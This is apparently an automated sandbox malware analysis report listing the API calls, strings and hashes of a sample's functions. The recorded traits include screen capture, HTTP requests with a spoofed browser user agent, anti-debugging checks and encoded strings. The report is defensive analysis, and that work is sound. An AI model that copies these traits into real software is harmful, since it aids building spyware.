Opcode Fuzzy Hash: c9bc613f65dcab954b8514f4a0b6a27ff23275a488e3139c31a11f33e05b2e4a
Instruction Fuzzy Hash: 1DD022B0804200ABE6507FB39A0BB0E7AD85F03348F01083EF4C592282E9BCA00083FF

Uniqueness

Uniqueness Score: -1.00%

Function 00C1DDC5 Relevance: 1.3, APIs: 1, Instructions: 48
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000040), ref: 00C1DE16

Memory Dump Source

Source File: 0000000D.00000002.3033410607.0000000000C1D000.00000040.00000020.00020000.00000000.sdmp, Offset: 00C1D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_c1d000_933A.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction ID: bcef207740b6b02c703ce9780a3534701bd90bd8483489eb723253de36f4eef2
Opcode Fuzzy Hash: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction Fuzzy Hash: 5E113F79A00208EFDB01DF98C985E99BBF5AF08751F0580A4F9489B361D371EA90EF90

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00B2A937 Relevance: 33.7, APIs: 14, Strings: 5, Instructions: 497stringCOMMON

Download Yara Rule

APIs

lstrcatW.KERNEL32 ref: 00B2AA10
lstrcatW.KERNEL32 ref: 00B2AA28
lstrlenW.KERNEL32 ref: 00B2AA38
lstrlenW.KERNEL32 ref: 00B2AA52
lstrlenW.KERNEL32 ref: 00B2ABBB
lstrlenW.KERNEL32 ref: 00B2AC4E

Strings

LOCK, xrefs: 00B2AF0F
kernel32.dll, xrefs: 00B2A965
ntdll.dll, xrefs: 00B2AB0E, 00B2AD41, 00B2B077
!@, xrefs: 00B2AB65
\??\, xrefs: 00B2AA03

Memory Dump Source

Source File: 0000000D.00000002.3033082118.0000000000B20000.00000040.00001000.00020000.00000000.sdmp, Offset: 00B20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_b20000_933A.jbxd

Yara matches

Similarity

API ID: lstrlen$lstrcat
String ID: !@$LOCK$\??\$kernel32.dll$ntdll.dll
API String ID: 493641738-3540211561
Opcode ID: 6127c1c640e495c0515ccd9143195617777ea25abb521c8f5de5961b2dc21b9e
Instruction ID: ad7dcc800083179413684e542ee667dda6f0b7472828463802438de536645926
Opcode Fuzzy Hash: 6127c1c640e495c0515ccd9143195617777ea25abb521c8f5de5961b2dc21b9e
Instruction Fuzzy Hash: 3C2247B15097008FD308DF38C89561ABBE1EB89324F158A6DF9A9873D0D7B9D845CB47

Uniqueness

Uniqueness Score: -1.00%

Function 0040A6D0 Relevance: 33.7, APIs: 14, Strings: 5, Instructions: 497stringCOMMON

Download Yara Rule

APIs

lstrcatW.KERNEL32 ref: 0040A7A9
lstrcatW.KERNEL32 ref: 0040A7C1
lstrlenW.KERNEL32 ref: 0040A7D1
lstrlenW.KERNEL32 ref: 0040A7EB
lstrlenW.KERNEL32 ref: 0040A954
lstrlenW.KERNEL32 ref: 0040A9E7

Strings

kernel32.dll, xrefs: 0040A6FE
ntdll.dll, xrefs: 0040A8A7, 0040AADA, 0040AE10
LOCK, xrefs: 0040ACA8
\??\, xrefs: 0040A79C
!@, xrefs: 0040A8FE

Memory Dump Source

Source File: 0000000D.00000002.3032559814.0000000000400000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_933A.jbxd

Yara matches

Similarity

API ID: lstrlen$lstrcat
String ID: !@$LOCK$\??\$kernel32.dll$ntdll.dll
API String ID: 493641738-3540211561
Opcode ID: cde87d04a3d801f76c6c42aef9130e0cd5a96919a47f875b100e7e3daa7423df
Instruction ID: 94427f4aa95c90cd82ece8741718e8d6ca4eeb39c56baad921ce8cb877298bc7
Opcode Fuzzy Hash: cde87d04a3d801f76c6c42aef9130e0cd5a96919a47f875b100e7e3daa7423df
Instruction Fuzzy Hash: 6F223AB15097408FD304DF38C49561ABBE2AF89328F158A2EF9A9973D0D7B8D845CB47

Uniqueness

Uniqueness Score: -1.00%

Function 0042C740 Relevance: 26.5, APIs: 11, Strings: 4, Instructions: 271COMMON

Download Yara Rule

APIs

WinHttpOpen.WINHTTP ref: 0042C7B2
WinHttpCrackUrl.WINHTTP ref: 0042C82C
WinHttpConnect.WINHTTP ref: 0042C914
WinHttpOpenRequest.WINHTTP ref: 0042C96F
WinHttpSendRequest.WINHTTP ref: 0042C9BC

Strings

<, xrefs: 0042C7D0
GET, xrefs: 0042C940
<, xrefs: 0042C7DD
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36, xrefs: 0042C787

Memory Dump Source

Source File: 0000000D.00000002.3032559814.0000000000400000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_933A.jbxd

Yara matches

Similarity

API ID: Http$OpenRequest$ConnectCrackSend
String ID: <$<$GET$Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
API String ID: 2632193879-3606546913
Opcode ID: 69f18526ac49321c77bbc3c93990880e44d186cb4d88443d0d8f3f9fd15ec2a3
Instruction ID: 58afe6ebf930efe18b4ed35802da6456e0675cae02a2748b6489b0690f51e9b9
Opcode Fuzzy Hash: 69f18526ac49321c77bbc3c93990880e44d186cb4d88443d0d8f3f9fd15ec2a3
Instruction Fuzzy Hash: 71C109B15093518FD314DF29D58831FBBE1BB88324F518A2EE4A9973D0D7788949CB4B

Uniqueness

Uniqueness Score: -1.00%

Function 00B66AE7 Relevance: 21.4, APIs: 14, Instructions: 421memoryCOMMON

Download Yara Rule

APIs

GetObjectW.GDI32 ref: 00B66B5D
GetProcessHeap.KERNEL32 ref: 00B66C8D
RtlAllocateHeap.NTDLL ref: 00B66CA8
GetProcessHeap.KERNEL32 ref: 00B66D6E
RtlAllocateHeap.NTDLL ref: 00B66D88
GetDC.USER32 ref: 00B66D9F
GetDIBits.GDI32 ref: 00B66DEF
ReleaseDC.USER32 ref: 00B66E07
GetProcessHeap.KERNEL32 ref: 00B66E4F
RtlAllocateHeap.NTDLL ref: 00B66E69
GetProcessHeap.KERNEL32 ref: 00B66F45
HeapFree.KERNEL32 ref: 00B66F5F
GetProcessHeap.KERNEL32 ref: 00B66F6A
HeapFree.KERNEL32 ref: 00B66F84

Memory Dump Source

Source File: 0000000D.00000002.3033082118.0000000000B20000.00000040.00001000.00020000.00000000.sdmp, Offset: 00B20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_b20000_933A.jbxd

Yara matches

Similarity

API ID: Heap$Process$Allocate$Free$BitsObjectRelease
String ID:
API String ID: 2884447548-0
Opcode ID: d526ec06db35d8b0b7b140d1eef4c65f2c920169ace2cb1ac8350e18d0b3eca3
Instruction ID: 7109315a0e59f1cf9e4127609259e3c6f56a420df3962273ecd7a202286e57dc
Opcode Fuzzy Hash: d526ec06db35d8b0b7b140d1eef4c65f2c920169ace2cb1ac8350e18d0b3eca3
Instruction Fuzzy Hash: 1CF17C75A106118FC708DF3CC89565ABBF2FF89320F1582A9E966DB3E0D7749841CB91

Uniqueness

Uniqueness Score: -1.00%

Function 00446880 Relevance: 21.4, APIs: 14, Instructions: 421memoryCOMMON

Download Yara Rule

APIs

GetObjectW.GDI32 ref: 004468F6
GetProcessHeap.KERNEL32 ref: 00446A26
HeapAlloc.KERNEL32 ref: 00446A41
GetProcessHeap.KERNEL32 ref: 00446B07
HeapAlloc.KERNEL32 ref: 00446B21
GetDC.USER32 ref: 00446B38
GetDIBits.GDI32 ref: 00446B88
ReleaseDC.USER32 ref: 00446BA0
GetProcessHeap.KERNEL32 ref: 00446BE8
HeapAlloc.KERNEL32 ref: 00446C02
GetProcessHeap.KERNEL32 ref: 00446CDE
HeapFree.KERNEL32 ref: 00446CF8
GetProcessHeap.KERNEL32 ref: 00446D03
HeapFree.KERNEL32 ref: 00446D1D

Memory Dump Source

Source File: 0000000D.00000002.3032559814.0000000000400000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_933A.jbxd

Yara matches

Similarity

API ID: Heap$Process$Alloc$Free$BitsObjectRelease
String ID:
API String ID: 332556478-0
Opcode ID: d526ec06db35d8b0b7b140d1eef4c65f2c920169ace2cb1ac8350e18d0b3eca3
Instruction ID: 173a3b4a4636c9f5a789d7dc3baa00f3265d4df3dc24c7885d1ea91b3f503132
Opcode Fuzzy Hash: d526ec06db35d8b0b7b140d1eef4c65f2c920169ace2cb1ac8350e18d0b3eca3
Instruction Fuzzy Hash: 4EF18D75A106118FDB08CF3CC89566ABBF2FF89320F15826AE565DB3E0D7749841CB82

Uniqueness

Uniqueness Score: -1.00%

Function 00B67007 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 207COMMON

Download Yara Rule

APIs

GetSystemMetrics.USER32(0047366E), ref: 00B67275
GetSystemMetrics.USER32 ref: 00B67287
CreateDCW.GDI32 ref: 00B672CE

Part of subcall function 00B66F97: CreateCompatibleDC.GDI32(?), ref: 00B66FA0
Part of subcall function 00B66F97: CreateCompatibleBitmap.GDI32(?,?,?), ref: 00B66FB1
Part of subcall function 00B66F97: SelectObject.GDI32(00000000,00000000), ref: 00B66FBB
Part of subcall function 00B66F97: BitBlt.GDI32(00000000,00000000,00000000,?,?,?,00000000,00000000,00CC0020), ref: 00B66FDA
Part of subcall function 00B66F97: SelectObject.GDI32(00000000,00000000), ref: 00B66FE2
Part of subcall function 00B66F97: DeleteDC.GDI32(00000000), ref: 00B66FE9
Part of subcall function 00B66F97: DeleteObject.GDI32(00000000), ref: 00B66FF0

DeleteDC.GDI32 ref: 00B67302

Strings

n6Gn6G, xrefs: 00B672D4

Memory Dump Source

Source File: 0000000D.00000002.3033082118.0000000000B20000.00000040.00001000.00020000.00000000.sdmp, Offset: 00B20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_b20000_933A.jbxd

Yara matches

Similarity

API ID: CreateDeleteObject$CompatibleMetricsSelectSystem$Bitmap
String ID: n6Gn6G
API String ID: 3009896920-2289254727
Opcode ID: e4be7e45b2e20e2577fb87d4f3ca3c318813a349b2244f61757dd6921d82377b
Instruction ID: 7e27faa154d91f2809cb3ba7a097e5ec77829ee953f3ea066c18b40f8c520d4a
Opcode Fuzzy Hash: e4be7e45b2e20e2577fb87d4f3ca3c318813a349b2244f61757dd6921d82377b
Instruction Fuzzy Hash: F76171BA42465BABD310BF3CD8502E77BA2EF26711B204234F5898B3B4F37509558B5A

Uniqueness

Uniqueness Score: -1.00%

Function 00B4BEC7 Relevance: 7.4, APIs: 1, Strings: 3, Instructions: 397COMMON

Download Yara Rule

Strings

LhF, xrefs: 00B4C45A
P, xrefs: 00B4C061
K, xrefs: 00B4C066

Memory Dump Source

Source File: 0000000D.00000002.3033082118.0000000000B20000.00000040.00001000.00020000.00000000.sdmp, Offset: 00B20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_b20000_933A.jbxd

Yara matches

Similarity

API ID: _free
String ID: K$LhF$P
API String ID: 269201875-3394802265
Opcode ID: 92e0c6453c4144c6d1fbc6f62f0419a8aa08f9c8ce57e9a6e4265234b30d186e
Instruction ID: 93e86d398103b707baefce2568fef020db2ca17e36606cac1381fb3566f328b3
Opcode Fuzzy Hash: 92e0c6453c4144c6d1fbc6f62f0419a8aa08f9c8ce57e9a6e4265234b30d186e
Instruction Fuzzy Hash: D6021874509380CFC364CF68C480B6EBBE1BF99710F158A9EE99987392D7749948DB42

Uniqueness

Uniqueness Score: -1.00%

Function 00446DA0 Relevance: 6.2, APIs: 4, Instructions: 207COMMON

Download Yara Rule

APIs

GetSystemMetrics.USER32(D7768E16), ref: 0044700E
GetSystemMetrics.USER32 ref: 00447020
CreateDCW.GDI32 ref: 00447067

Part of subcall function 00446D30: CreateCompatibleDC.GDI32(?), ref: 00446D39
Part of subcall function 00446D30: CreateCompatibleBitmap.GDI32(?,?,?), ref: 00446D4A
Part of subcall function 00446D30: SelectObject.GDI32(00000000,00000000), ref: 00446D54
Part of subcall function 00446D30: BitBlt.GDI32(00000000,00000000,00000000,?,?,?,00000000,00000000,00CC0020), ref: 00446D73
Part of subcall function 00446D30: SelectObject.GDI32(00000000,00000000), ref: 00446D7B
Part of subcall function 00446D30: DeleteDC.GDI32(00000000), ref: 00446D82
Part of subcall function 00446D30: DeleteObject.GDI32(00000000), ref: 00446D89

DeleteDC.GDI32 ref: 0044709B

Memory Dump Source

Source File: 0000000D.00000002.3032559814.0000000000400000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_933A.jbxd

Yara matches

Similarity

API ID: CreateDeleteObject$CompatibleMetricsSelectSystem$Bitmap
String ID:
API String ID: 3009896920-0
Opcode ID: e4be7e45b2e20e2577fb87d4f3ca3c318813a349b2244f61757dd6921d82377b
Instruction ID: fb8ef38e7699d1ac3b4e1692c436b4c765253ad8ce6581d49b0ddd02138aae34
Opcode Fuzzy Hash: e4be7e45b2e20e2577fb87d4f3ca3c318813a349b2244f61757dd6921d82377b
Instruction Fuzzy Hash: 1A6153BA42465BABD310BF3CD8502E77BA2EF26711B604234B5858B3B4F37505558B4E

Uniqueness

Uniqueness Score: -1.00%

Function 00B6BFAC Relevance: 6.1, APIs: 4, Instructions: 70COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017,?), ref: 00B6BFB8
IsDebuggerPresent.KERNEL32 ref: 00B6C084
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 00B6C09D
UnhandledExceptionFilter.KERNEL32(?), ref: 00B6C0A7

Memory Dump Source

Source File: 0000000D.00000002.3033082118.0000000000B20000.00000040.00001000.00020000.00000000.sdmp, Offset: 00B20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_b20000_933A.jbxd

Yara matches

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: 58ef7906a4a04d8e5b7f0963dc2530ccb084cd2113d65f40cc5bc66ea3f9cc5b
Instruction ID: eb13c3073dced6e0c161b938bd25b289b44676161ce95a70c70f6cc43749366a
Opcode Fuzzy Hash: 58ef7906a4a04d8e5b7f0963dc2530ccb084cd2113d65f40cc5bc66ea3f9cc5b
Instruction Fuzzy Hash: DC31C779D05218DBDB21DFA5D949BCDBBF8AF08300F1041EAE408AB250E7759A85DF45

Uniqueness

Uniqueness Score: -1.00%

Function 0044BD45 Relevance: 6.1, APIs: 4, Instructions: 70COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017,?), ref: 0044BD51
IsDebuggerPresent.KERNEL32 ref: 0044BE1D
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 0044BE36
UnhandledExceptionFilter.KERNEL32(?), ref: 0044BE40

Memory Dump Source

Source File: 0000000D.00000002.3032559814.0000000000400000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_933A.jbxd

Yara matches

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: 58ef7906a4a04d8e5b7f0963dc2530ccb084cd2113d65f40cc5bc66ea3f9cc5b
Instruction ID: 4a5d33d7ad6cac98837ddce632fbc8e03fd51dba802fbcc4a4ef64427eb349b9
Opcode Fuzzy Hash: 58ef7906a4a04d8e5b7f0963dc2530ccb084cd2113d65f40cc5bc66ea3f9cc5b
Instruction Fuzzy Hash: 9D31FC75D052189BEF21DF65D9897CDBBB8EF04704F1041EAE50CA7250EB749A848F49

Uniqueness

Uniqueness Score: -1.00%

Function 00453FA0 Relevance: 5.7, APIs: 2, Strings: 1, Instructions: 450COMMON

Download Yara Rule

Strings

;fE, xrefs: 004543B4, 0045422C, 004540E4

Memory Dump Source

Source File: 0000000D.00000002.3032559814.0000000000400000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_933A.jbxd

Yara matches

Similarity

API ID:
String ID: ;fE
API String ID: 0-3798903389
Opcode ID: 88c75d01dcdb560f699bb95d2432b3685535d1ca8ca7af29cab389825cb04a67
Instruction ID: 9b44cbff194a2e2df8d327434b0f7312c9b2cfd91c008becb9dc78c1bda3ae10
Opcode Fuzzy Hash: 88c75d01dcdb560f699bb95d2432b3685535d1ca8ca7af29cab389825cb04a67
Instruction Fuzzy Hash: 7DF18171E002199FDF14CFA9C8806AEB7B1FF88319F15826EE819AB341D7349E45CB94

Uniqueness

Uniqueness Score: -1.00%

Function 0042BC60 Relevance: 5.6, APIs: 1, Strings: 2, Instructions: 397COMMON

Download Yara Rule

Strings

K, xrefs: 0042BDFF
P, xrefs: 0042BDFA

Memory Dump Source

Source File: 0000000D.00000002.3032559814.0000000000400000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_933A.jbxd

Yara matches

Similarity

API ID: _free
String ID: K$P
API String ID: 269201875-420285281
Opcode ID: ca6b0ce51875374a3de4a5411d4a298baa4d6d65c6c5686feaa05503a5bfd657
Instruction ID: 21865420b7e739ab8555239c22c987881ee0333250620bca6afc170c2645d0d7
Opcode Fuzzy Hash: ca6b0ce51875374a3de4a5411d4a298baa4d6d65c6c5686feaa05503a5bfd657
Instruction Fuzzy Hash: FA024974608390CFC364CF68D480B9EBBE1BF89310F558A5EE9A987392D7789845CB47

Uniqueness

Uniqueness Score: -1.00%

Function 00B21267 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 220COMMON

Download Yara Rule

APIs

ExitProcess.KERNEL32 ref: 00B21503

Strings

UUUU, xrefs: 00B212C0
UUUU, xrefs: 00B212C5

Memory Dump Source

Source File: 0000000D.00000002.3033082118.0000000000B20000.00000040.00001000.00020000.00000000.sdmp, Offset: 00B20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_b20000_933A.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID: UUUU$UUUU
API String ID: 621844428-2425103364
Opcode ID: 1d616a7b49d38a3ec50f519bc23cc488eb96b2984473421590b6cd84adc4e134
Instruction ID: 052c4c7cd47523522e83f01d5aa7d95279636625567ac7f8604c86d86f38c760
Opcode Fuzzy Hash: 1d616a7b49d38a3ec50f519bc23cc488eb96b2984473421590b6cd84adc4e134
Instruction Fuzzy Hash: F471D873B142209BCB0C9D7CE992269BAD667E5370F19CB6EB8AEDB3D4D534CD004642

Uniqueness

Uniqueness Score: -1.00%

Function 00401000 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 220COMMON

Download Yara Rule

APIs

ExitProcess.KERNEL32 ref: 0040129C

Strings

UUUU, xrefs: 0040105E
UUUU, xrefs: 00401059

Memory Dump Source

Source File: 0000000D.00000002.3032559814.0000000000400000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_933A.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID: UUUU$UUUU
API String ID: 621844428-2425103364
Opcode ID: 1d616a7b49d38a3ec50f519bc23cc488eb96b2984473421590b6cd84adc4e134
Instruction ID: f75404a4e65a18c9cb4c2eb1b12ec3bf0ade9ffaa1d37f09714853cd906d4903
Opcode Fuzzy Hash: 1d616a7b49d38a3ec50f519bc23cc488eb96b2984473421590b6cd84adc4e134
Instruction Fuzzy Hash: 9B71E673F141118BCB0C9D78C95266ABAD667C5374F19C33FB8A6EB3E4D938C8814646

Uniqueness

Uniqueness Score: -1.00%

Function 00B63507 Relevance: 4.6, APIs: 3, Instructions: 70encryptionCOMMON

Download Yara Rule

APIs

_strlen.LIBCMT ref: 00B6351B
CryptStringToBinaryA.CRYPT32 ref: 00B6355D
CryptStringToBinaryA.CRYPT32 ref: 00B635D8

Memory Dump Source

Source File: 0000000D.00000002.3033082118.0000000000B20000.00000040.00001000.00020000.00000000.sdmp, Offset: 00B20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_b20000_933A.jbxd

Yara matches

Similarity

API ID: BinaryCryptString$_strlen
String ID:
API String ID: 1460654939-0
Opcode ID: e5a6d7b32f511a723d35ede192be6838388aad9596a3ce64292cbe0bb555c9b4
Instruction ID: 62654fdf4eb837ed3e5377221ad1f9ce0a0fdd72aa4048d98bd5ac0145699698
Opcode Fuzzy Hash: e5a6d7b32f511a723d35ede192be6838388aad9596a3ce64292cbe0bb555c9b4
Instruction Fuzzy Hash: 883158B450D3419FD340DF29C18471ABBE0BB88708F10895EF89997350D7B99A898B97

Uniqueness

Uniqueness Score: -1.00%

Function 004432A0 Relevance: 4.6, APIs: 3, Instructions: 70encryptionCOMMON

Download Yara Rule

APIs

_strlen.LIBCMT ref: 004432B4
CryptStringToBinaryA.CRYPT32 ref: 004432F6
CryptStringToBinaryA.CRYPT32 ref: 00443371

Memory Dump Source

Source File: 0000000D.00000002.3032559814.0000000000400000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_933A.jbxd

Yara matches

Similarity

API ID: BinaryCryptString$_strlen
String ID:
API String ID: 1460654939-0
Opcode ID: 19099a87bb598242e9ee8ecfde7b6c6e98c9c5a626bd37cf6a51c229a85b243f
Instruction ID: fdaf4f2312c507cc36aa1f48c59f25702b51274429dcad6bc2a2ba24d2e15e04
Opcode Fuzzy Hash: 19099a87bb598242e9ee8ecfde7b6c6e98c9c5a626bd37cf6a51c229a85b243f
Instruction Fuzzy Hash: 9C316CB45083019FD700DF29C18871AFBE0BF88709F10895EF89897351D7B99A898F97

Uniqueness

Uniqueness Score: -1.00%

Function 0045DEC8 Relevance: 3.1, APIs: 2, Instructions: 140timeCOMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 0045DF6A
GetTimeZoneInformation.KERNEL32(00000000,00000000,00000000,?,?,0045E41B,?,?,?,?,?,?,?,00000000), ref: 0045DF7C

Part of subcall function 0045D5EA: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,0000FDE9,00000000,00000000,00000000,?,0045FA3B,?,00000000,00000000), ref: 0045D696

Memory Dump Source

Source File: 0000000D.00000002.3032559814.0000000000400000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_933A.jbxd

Yara matches

Similarity

API ID: ByteCharInformationMultiTimeWideZone_free
String ID:
API String ID: 399245767-0
Opcode ID: 1edb6db5b32d0356fbcb46b50b859ed87e0019bf1e4aadc5a1efd1f26343f260
Instruction ID: f703298ab0379e8510266dac80277961eee45bcceba5b6c6ab6ead5be986eaca
Opcode Fuzzy Hash: 1edb6db5b32d0356fbcb46b50b859ed87e0019bf1e4aadc5a1efd1f26343f260
Instruction Fuzzy Hash: C441B871D00214BBDB20AF66DC02A5B7B69EF05715F14406BFD08EB2A3E7789D548B98

Uniqueness

Uniqueness Score: -1.00%

Function 0044BF58 Relevance: 1.6, APIs: 1, Instructions: 147COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(0000000A), ref: 0044BF6E

Memory Dump Source

Source File: 0000000D.00000002.3032559814.0000000000400000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_933A.jbxd

Yara matches

Similarity

API ID: FeaturePresentProcessor
String ID:
API String ID: 2325560087-0
Opcode ID: 19699767c55a253c1c999fba37453c2e5b44e7b44f5a89364b003acabb336621
Instruction ID: 45fcba8f380f9f1dd03ae40bdb79fc88626e26c10e64393ec6f360b9454c5b54
Opcode Fuzzy Hash: 19699767c55a253c1c999fba37453c2e5b44e7b44f5a89364b003acabb336621
Instruction Fuzzy Hash: 045170B5A02215CBEB64CF94D8C17AAF7F0FB44701F18816AC409EB351D379A980CF58

Uniqueness

Uniqueness Score: -1.00%

Function 00B22DA7 Relevance: 44.2, APIs: 18, Strings: 7, Instructions: 433stringCOMMON

Download Yara Rule

APIs

lstrcatW.KERNEL32 ref: 00B22DE1
lstrcatW.KERNEL32 ref: 00B22DFB
lstrcatW.KERNEL32 ref: 00B22E13
lstrcatW.KERNEL32 ref: 00B22E65
lstrcatW.KERNEL32 ref: 00B22E7F
lstrcatW.KERNEL32 ref: 00B22E9A
lstrcatW.KERNEL32 ref: 00B22EB4
lstrcatW.KERNEL32 ref: 00B22ECC
_strlen.LIBCMT ref: 00B23063
_strlen.LIBCMT ref: 00B23073
_mbstowcs.LIBCMT ref: 00B23104
_mbstowcs.LIBCMT ref: 00B2312E
lstrcatW.KERNEL32 ref: 00B23334
lstrcatW.KERNEL32 ref: 00B2335E
lstrcatW.KERNEL32 ref: 00B2339C
lstrcatW.KERNEL32 ref: 00B233B6
lstrcatW.KERNEL32 ref: 00B233D1
lstrcatW.KERNEL32 ref: 00B233FB

Strings

e4154e92ac7c3de68b6737, xrefs: 00B231AE, 00B2325C
362f0ee17a406988580f4a80424e2ea7595d2ea0554c6194585b, xrefs: 00B23222
d1ec3fb8feae4dd7a69f5aca95ae, xrefs: 00B233DA
22fe32036e91556a4cde7662569f, xrefs: 00B231E8
f423d2eaa86fbd89954ff2b9804ca08b93468e869155b7869041, xrefs: 00B2333D
6cdb83d922bef7ae03a9e8852fb4ecb205bef0, xrefs: 00B232D0
bae785b2ed82e792fe86f1d3, xrefs: 00B23296

Memory Dump Source

Source File: 0000000D.00000002.3033082118.0000000000B20000.00000040.00001000.00020000.00000000.sdmp, Offset: 00B20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_b20000_933A.jbxd

Yara matches

Similarity

API ID: lstrcat$_mbstowcs_strlen
String ID: 22fe32036e91556a4cde7662569f$362f0ee17a406988580f4a80424e2ea7595d2ea0554c6194585b$6cdb83d922bef7ae03a9e8852fb4ecb205bef0$bae785b2ed82e792fe86f1d3$d1ec3fb8feae4dd7a69f5aca95ae$e4154e92ac7c3de68b6737$f423d2eaa86fbd89954ff2b9804ca08b93468e869155b7869041
API String ID: 731292619-1602796456
Opcode ID: a0c697e605412dd42c640df6dd5c0e840aef6b0cd28cbd7915609c12fa160554
Instruction ID: 17967f2eda38c2440578fa8d22933cc9181af168f13b2f2bcd43a3531ef9118d
Opcode Fuzzy Hash: a0c697e605412dd42c640df6dd5c0e840aef6b0cd28cbd7915609c12fa160554
Instruction Fuzzy Hash: 111297B49097419FC704EF68E195A2EBBE0BF88704F01896EF8D987350E778D984DB46

Uniqueness

Uniqueness Score: -1.00%

Function 00402B40 Relevance: 44.2, APIs: 18, Strings: 7, Instructions: 433stringCOMMON

Download Yara Rule

APIs

lstrcatW.KERNEL32 ref: 00402B7A
lstrcatW.KERNEL32 ref: 00402B94
lstrcatW.KERNEL32 ref: 00402BAC
lstrcatW.KERNEL32 ref: 00402BFE
lstrcatW.KERNEL32 ref: 00402C18
lstrcatW.KERNEL32 ref: 00402C33
lstrcatW.KERNEL32 ref: 00402C4D
lstrcatW.KERNEL32 ref: 00402C65
_strlen.LIBCMT ref: 00402DFC
_strlen.LIBCMT ref: 00402E0C
_mbstowcs.LIBCMT ref: 00402E9D
_mbstowcs.LIBCMT ref: 00402EC7
lstrcatW.KERNEL32 ref: 004030CD
lstrcatW.KERNEL32 ref: 004030F7
lstrcatW.KERNEL32 ref: 00403135
lstrcatW.KERNEL32 ref: 0040314F
lstrcatW.KERNEL32 ref: 0040316A
lstrcatW.KERNEL32 ref: 00403194

Strings

362f0ee17a406988580f4a80424e2ea7595d2ea0554c6194585b, xrefs: 00402FBB
22fe32036e91556a4cde7662569f, xrefs: 00402F81
f423d2eaa86fbd89954ff2b9804ca08b93468e869155b7869041, xrefs: 004030D6
bae785b2ed82e792fe86f1d3, xrefs: 0040302F
6cdb83d922bef7ae03a9e8852fb4ecb205bef0, xrefs: 00403069
d1ec3fb8feae4dd7a69f5aca95ae, xrefs: 00403173
e4154e92ac7c3de68b6737, xrefs: 00402F47, 00402FF5

Memory Dump Source

Source File: 0000000D.00000002.3032559814.0000000000400000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_933A.jbxd

Yara matches

Similarity

API ID: lstrcat$_mbstowcs_strlen
String ID: 22fe32036e91556a4cde7662569f$362f0ee17a406988580f4a80424e2ea7595d2ea0554c6194585b$6cdb83d922bef7ae03a9e8852fb4ecb205bef0$bae785b2ed82e792fe86f1d3$d1ec3fb8feae4dd7a69f5aca95ae$e4154e92ac7c3de68b6737$f423d2eaa86fbd89954ff2b9804ca08b93468e869155b7869041
API String ID: 731292619-1602796456
Opcode ID: 2b3a73a798bb444a05ee5a4e375a3e416030d5fce08475abef34f598a1aac731
Instruction ID: 398cbb03ae68249f5acbe40e09d2c1f6346833f3af03b128980b5b21887ca5ff
